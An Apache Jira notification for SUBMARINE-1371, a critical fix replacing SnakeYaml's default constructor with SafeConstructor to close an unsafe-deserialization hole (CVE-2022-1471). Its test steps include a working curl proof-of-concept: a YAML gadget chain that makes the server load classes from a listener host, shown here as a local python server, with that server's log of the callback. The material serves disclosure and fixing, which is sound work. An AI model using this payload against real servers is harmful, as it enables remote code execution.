[
https://issues.apache.org/jira/browse/SUBMARINE-1371?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Work on SUBMARINE-1371 started by cdmikechen.
---------------------------------------------
> Fix unsafe deserialization via SnakeYaml in YamlEntityProvider
> --------------------------------------------------------------
>
> Key: SUBMARINE-1371
> URL: https://issues.apache.org/jira/browse/SUBMARINE-1371
> Project: Apache Submarine
> Issue Type: Bug
> Components: Backend Server
> Reporter: cdmikechen
> Assignee: cdmikechen
> Priority: Critical
> Labels: pull-request-available
>
> Use SnakeYaml's SafeConstructor to replace default Yaml no arguments
> constructor to void unsafe deserialization.
> Link url: [https://nvd.nist.gov/vuln/detail/CVE-2022-1471]
> Test steps:
> # start a server with *python3 -m http.server 8080*
> # start submarine
> # test submarine with command
> {code:sh}
> curl --location 'http://127.0.0.1:32080/api/v1/serve/' \
> --header 'Content-Type: application/yaml' \
> --data '!!org.apache.submarine.server.api.model.ServeSpec: modelName:
> !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader
> [[!!java.net.URL ["http://localhost:8080";]]]]'
> {code}
> # we can see python server receive url like this:
> {code:sh}
> Serving HTTP on :: port 8080 (http://[::]:8080/) ...
> ::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
> {code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
